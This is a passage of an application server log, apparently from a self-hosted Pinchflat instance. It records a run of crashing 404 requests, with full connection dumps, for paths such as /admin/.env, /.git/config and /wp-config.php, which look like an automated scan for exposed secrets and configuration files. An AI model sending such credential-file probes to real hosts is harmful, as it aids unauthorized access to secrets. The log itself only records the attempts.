#PID<0.20088.0>, stream id 7) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /admin/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20095.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/admin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8mzd_eA4iu84ABR-C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20095.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path (truncated) 17:45:03.113 [info] GET /.git/config 17:45:03.113 [debug] QUERY OK source="settings" db=0.1ms idle=283.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.114 [debug] QUERY OK source="settings" db=0.0ms idle=236.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.114 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:03.114 [error] #PID<0.20096.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 8) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20096.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8mz5kxpyDO6gABSAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20096.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-re (truncated) 17:45:03.237 [info] GET /wp-config.php 17:45:03.237 [debug] QUERY OK source="settings" db=0.1ms idle=359.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.237 [debug] QUERY OK source="settings" db=0.0ms idle=239.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.237 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:03.238 [error] #PID<0.20097.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 9) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /wp-config.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20097.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/wp-config.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8m0XEvuU1I_oABSCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20097.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/wp-config.php", (truncated) 17:45:03.366 [info] GET /wp-config.php.old 17:45:03.367 [debug] QUERY OK source="settings" db=0.1ms idle=368.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.367 [debug] QUERY OK source="settings" db=0.0ms idle=253.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.367 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:03.367 [error] #PID<0.20098.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 10) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /wp-config.php.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20098.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8m018-sCdzf0ABSEC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20098.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, 